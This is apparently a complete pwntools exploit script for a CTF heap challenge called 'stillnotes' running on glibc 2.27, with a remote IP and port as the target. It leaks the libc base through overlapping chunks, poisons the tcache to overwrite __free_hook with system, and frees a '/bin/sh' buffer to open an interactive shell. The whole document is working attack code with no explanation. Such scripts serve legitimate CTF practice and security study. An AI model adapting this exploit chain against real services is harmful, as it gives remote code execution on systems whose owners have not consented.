1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import * context.terminal = ['tmux','splitw','-h']
def payload(lo:int): global sh if lo: sh = process('./stillnotes') if lo & 2: gdb.attach(sh) else: sh = remote('139.196.183.57', 32026) libc = ELF('./libc-2.27.so')
def addn(idx:int, size:int, content:bytes=b' ', hooked:bool=False): sh.sendlineafter(b'ice:', b'1') sh.sendlineafter(b'Index', str(idx).encode()) sh.sendlineafter(b'Size', str(size).encode()) if hooked: return if len(content) == size: sh.sendafter(b'Content', content) else: sh.sendlineafter(b'Content', content)
def deln(idx:int): sh.sendlineafter(b'ice:', b'3') sh.sendlineafter(b'Index', str(idx).encode())
def show(idx:int) -> bytes: sh.sendlineafter(b'ice:', b'2') sh.sendlineafter(b'Index: ', str(idx).encode()) return sh.recvline()
addn(15, 0xf8) addn(14, 0xf8) addn(13, 0xf8) addn(12, 0xf8) addn(11, 0xf8) addn(10, 0xf8) addn(9, 0xf8) addn(0, 0xf8) addn(1, 0x38) addn(2, 0xf8) addn(8, 0x8) deln(9) deln(10) deln(11) deln(12) deln(13) deln(14) deln(15) deln(0) deln(1) addn(1, 0x38, b'0'*0x30 + p64(0x140)) deln(2) addn(15, 0xf8) addn(14, 0xf8) addn(13, 0xf8) addn(12, 0xf8) addn(11, 0xf8) addn(10, 0xf8) addn(9, 0xf8) addn(0, 0xf8) ret = show(1)
dumpArena = libc.symbols['__malloc_hook'] + (libc.symbols['__malloc_hook'] - libc.symbols['__realloc_hook']) * 2 mainArena = u64(ret[:6] + b'\0\0') libcBase = mainArena - dumpArena - 0x60 print(f'\x1b[33mleak libcBase: {hex(libcBase)}\x1b[0m') freeHook = libcBase + libc.symbols['__free_hook'] systemAddr = libcBase + libc.symbols['system']
deln(9) deln(10) deln(11) deln(12) deln(13) deln(14) deln(15) deln(0) addn(3, 0x58) addn(0, 0xb8, b'0'*0x98 + p64(0x40)) deln(1) deln(0) addn(0, 0xb8, b'0'*0x98 + p64(0x40) + p64(freeHook)) deln(1) deln(0) addn(0, 0xb8, b'0'*0x98 + p64(0x40) + p64(freeHook)) addn(1, 0x38) addn(4, 0x38, p64(systemAddr)) addn(5, 0x18, b'/bin/sh\0') deln(5)
sh.clean() sh.interactive()
|